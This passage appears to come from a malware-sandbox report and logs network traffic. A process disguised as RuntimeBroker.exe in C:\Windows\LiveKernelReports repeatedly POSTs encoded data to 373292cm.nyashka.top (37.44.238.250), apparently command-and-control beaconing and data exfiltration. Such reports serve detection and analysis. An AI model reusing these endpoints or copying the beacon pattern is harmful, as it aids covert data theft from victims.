Jan 11, 2025 06:43:43.629637957 CET	2544	OUT	Data Raw: 5f 57 59 55 54 45 54 5c 5b 5f 5a 51 59 55 58 52 57 59 5d 5d 57 5d 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _WYUTET\[_ZQYUXRWY]]W]S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./U0!-]71+>0X?.-<>$#Z3 W/+)?X :,>&F$.Y/-
Jan 11, 2025 06:43:43.915575027 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:44.044574022 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	57063	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:44.189635992 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	57064	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:44.277412891 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:44.629692078 CET	1872	OUT	Data Raw: 5f 57 5c 5e 54 43 54 5d 5b 5f 5a 51 59 56 58 50 57 5f 5d 52 57 5c 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _W\^TCT][_ZQYVXPW_]RW\SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\,3!7 *3?-5+.#]#??73<;_7#5;&F$.Y/!
Jan 11, 2025 06:43:44.925116062 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:45.058109999 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 55 3d 1b 2a 5c 31 3b 38 18 25 33 2d 0e 3e 2e 27 5b 29 03 0b 15 27 38 29 5e 27 2e 23 0d 26 3b 00 02 2b 10 29 0a 24 2f 2b 5c 2d 34 2b 5d 0c 13 22 5c 37 14 2d 05 25 12 02 5c 2a 2b 37 5f 20 2f 3a 5b 3f 14 31 50 28 11 23 03 3c 17 3c 01 3c 39 2d 0e 2e 2b 35 15 39 09 39 0c 34 3e 2b 52 0d 11 24 54 28 13 25 54 3e 3e 3f 5c 21 06 3c 03 27 03 22 57 32 0b 3e 1e 30 07 24 1f 25 21 35 51 24 08 3e 09 26 3b 31 01 25 3f 04 0e 23 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &U=\1;8%3->.'[)'8)^'.#&;+)$/+\-4+]"\7-%\+7_ /:[?1P(#<<<9-.+5994>+R$T(%T>>?\!<'"W2>0$%!5Q$>&;1%?#"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	57065	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:44.402563095 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:44.754600048 CET	2544	OUT	Data Raw: 5f 56 59 50 54 42 54 5f 5b 5f 5a 51 59 54 58 50 57 5a 5d 5e 57 5f 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _VYPTBT_[_ZQYTXPWZ]^W_S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y/"= 1Y+-#+!([ 7?3V4?()+4V68&F$.Y/)
Jan 11, 2025 06:43:45.037838936 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:45.166389942 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	57066	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:45.290443897 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:45.681310892 CET	2544	OUT	Data Raw: 5f 55 59 52 54 40 54 51 5b 5f 5a 51 59 5f 58 53 57 58 5d 5a 57 5e 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _UYRT@TQ[_ZQY_XSWX]ZW^S\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./?C"=4] 0*=<^+."<=]4<74!;(97_" 2,.&F$.Y/
Jan 11, 2025 06:43:45.927762032 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:46.064291954 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	57067	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:46.196674109 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:46.551577091 CET	2544	OUT	Data Raw: 5f 50 59 52 54 45 54 50 5b 5f 5a 51 59 53 58 51 57 5f 5d 53 57 5e 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _PYRTETP[_ZQYSXQW_]SW^S^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.; !><^40&*-(X<-5]?[?]"<+#13(90"0!]..&F$.Y/5
Jan 11, 2025 06:43:46.844347954 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:46.978204966 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	57068	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:47.113392115 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:47.457885027 CET	2544	OUT	Data Raw: 5a 52 5c 52 54 45 51 5d 5b 5f 5a 51 59 55 58 55 57 51 5d 53 57 59 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZR\RTEQ][_ZQYUXUWQ]SWYST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;##" ]705*,Y+-!\(> "<7S41#<74,&F$.Y/-
Jan 11, 2025 06:43:47.741918087 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:47.874331951 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	57069	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:48.068737030 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:48.443443060 CET	2544	OUT	Data Raw: 5f 5c 5c 5e 51 42 51 5b 5b 5f 5a 51 59 54 58 51 57 51 5d 5f 57 5f 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\\^QBQ[[_ZQYTXQWQ]_W_ST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._;#?@!>743=Y==_+.=^?=/\7/0!1,<9^ 0%\,&F$.Y/)
Jan 11, 2025 06:43:48.681979895 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:48.846643925 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	57070	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:48.985371113 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:49.333055973 CET	2536	OUT	Data Raw: 5f 54 59 55 54 46 54 5c 5b 5f 5a 51 59 57 58 52 57 51 5d 5e 57 5e 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYUTFT\[_ZQYWXRWQ]^W^SX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./#/C"\7 2)= _>>\((4<Q723+)#X7#5\;>&F$.Y/1
Jan 11, 2025 06:43:49.617538929 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:49.747021914 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	57071	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:49.889760017 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	57072	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:50.084434986 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:50.442106009 CET	1852	OUT	Data Raw: 5f 5c 5c 51 54 44 54 5e 5b 5f 5a 51 59 52 58 50 57 59 5d 53 57 50 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\\QTDT^[_ZQYRXPWY]SWPSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-.0068^ 0Y*-<X?X:?#/0 !8+<70..&F$.Y/1
Jan 11, 2025 06:43:50.712759972 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:50.842292070 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0f 2a 1b 32 12 26 5d 38 54 25 23 2e 54 3d 5b 3b 58 3d 3e 39 5e 24 3b 3a 07 26 3d 38 57 30 05 29 5b 28 2e 08 1b 32 59 33 1e 2c 34 2b 5d 0c 13 22 5c 37 04 31 03 32 3c 06 5b 29 01 37 5d 36 5a 39 03 3c 2a 26 0b 3c 01 30 5f 2b 29 2b 59 2b 3a 25 0f 2e 28 29 16 2d 23 2a 50 34 04 2b 52 0d 11 27 0d 3c 04 31 54 3d 3d 3f 1a 36 06 2c 03 30 3d 00 51 31 21 26 1e 30 17 23 02 25 0b 3d 12 27 08 3d 12 25 02 22 1c 27 2c 35 50 21 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %2&]8T%#.T=[;X=>9^$;:&=8W0)[(.2Y3,4+]"\712<[)7]6Z9<&<0_+)+Y+:%.()-#*P4+R'<1T==?6,0=Q1!&0#%='=%"',5P!2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	57073	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:50.215289116 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:50.567225933 CET	2544	OUT	Data Raw: 5f 50 5c 50 51 42 54 5c 5b 5f 5a 51 59 5e 58 57 57 5d 5d 59 57 58 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\PQBT\[_ZQY^XWW]]YWXS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;0$"'70)>.7<.6)=8#<#1?'7 \;>&F$.Y/
Jan 11, 2025 06:43:50.853636980 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:50.984355927 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	57074	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:51.219702959 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:51.567353964 CET	2544	OUT	Data Raw: 5f 52 5c 5f 54 43 51 5e 5b 5f 5a 51 59 50 58 53 57 51 5d 53 57 5b 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _R\_TCQ^[_ZQYPXSWQ]SW[S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S., $!0^73=Y)\>==+'47R70P(_$"3!;&F$.Y/
Jan 11, 2025 06:43:51.855947971 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:51.988027096 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	57075	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:52.121082067 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:52.473582029 CET	2544	OUT	Data Raw: 5a 57 5c 53 54 49 54 58 5b 5f 5a 51 59 55 58 57 57 5f 5d 5d 57 5f 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZW\STITX[_ZQYUXWW_]]W_S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\,#". #0)==4_<"+>#\4<W7<??]#%..&F$.Y/-
Jan 11, 2025 06:43:52.753743887 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:52.882991076 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	57076	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:53.010160923 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:53.364036083 CET	2544	OUT	Data Raw: 5f 5c 59 50 54 45 54 5c 5b 5f 5a 51 59 5e 58 53 57 50 5d 58 57 5d 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\YPTET\[_ZQY^XSWP]XW]S[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;0 !=8# =[=<<:)-+",0#W'*:$43:,>&F$.Y/
Jan 11, 2025 06:43:53.639132977 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:53.766424894 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	57077	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:53.930180073 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:54.285871983 CET	2544	OUT	Data Raw: 5f 55 59 57 54 45 54 5a 5b 5f 5a 51 59 51 58 55 57 5e 5d 5e 57 51 53 5a 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _UYWTETZ[_ZQYQXUW^]^WQSZ\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.^;#0"0]#5).<<>+[(7#R ?<\#0*;&F$.Y/=
Jan 11, 2025 06:43:54.585397959 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:54.719871044 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	57078	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:54.854634047 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
